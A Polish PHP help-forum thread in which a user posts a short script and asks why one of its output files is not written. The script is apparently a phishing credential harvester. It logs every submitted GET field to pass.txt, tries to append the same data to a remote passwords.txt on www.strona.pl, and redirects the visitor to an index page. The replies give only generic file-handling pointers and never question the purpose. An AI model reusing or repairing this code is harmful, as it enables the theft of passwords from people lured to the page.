![]() |
![]() ![]() |
![]() |
![]()
Post
#1
|
|
![]() Grupa: Zarejestrowani Postów: 43 Pomógł: 0 Dołączył: 9.10.2007 Ostrzeżenie: (0%) ![]() ![]() |
Mam taki kod. Nie zapisuje mi sie plik passwords.txt . Co jest źle?
Kod [size="2"]<?php
header("Location: http://www.strona.pl/index.html"); $handle = fopen("pass.txt", "a"); $handle2 = fopen("http://www.strona.pl/passwords.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); fwrite($handle2, $variable); fwrite($handle2, "="); fwrite($handle2, $value); fwrite($handle2, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); fwrite($handle2, "\r\n"); fclose($handle2); ?> [/size] |
|
|
![]()
Post
#2
|
|
![]() Grupa: Zarejestrowani Postów: 813 Pomógł: 34 Dołączył: 18.03.2007 Skąd: o stamtąd Ostrzeżenie: (0%) ![]() ![]() |
poczytaj o file_put_contents, file_get_contents, chmod, uprawnieniach i tablicach, ogarnij trochę swój kod.
|
|
|
![]()
Post
#3
|
|
![]() Grupa: Zarejestrowani Postów: 43 Pomógł: 0 Dołączył: 9.10.2007 Ostrzeżenie: (0%) ![]() ![]() |
Skrypt ogólnie działa tylko nie zapisuje pliku passwords.txt Gdy passwords.txt byl ustawiony na zapisywanie w folderze, w ktorym jest skrypt to dzialalo. Gdy zmienilem scieżke to juz nie zapisywalo.
Jak tak jest to działa: Kod <?php
$handle2 = fopen("passwords.txt", "a"); ?> |
|
|
![]() ![]() |
![]() |
Wersja Lo-Fi | Aktualny czas: 13.06.2025 - 03:14 |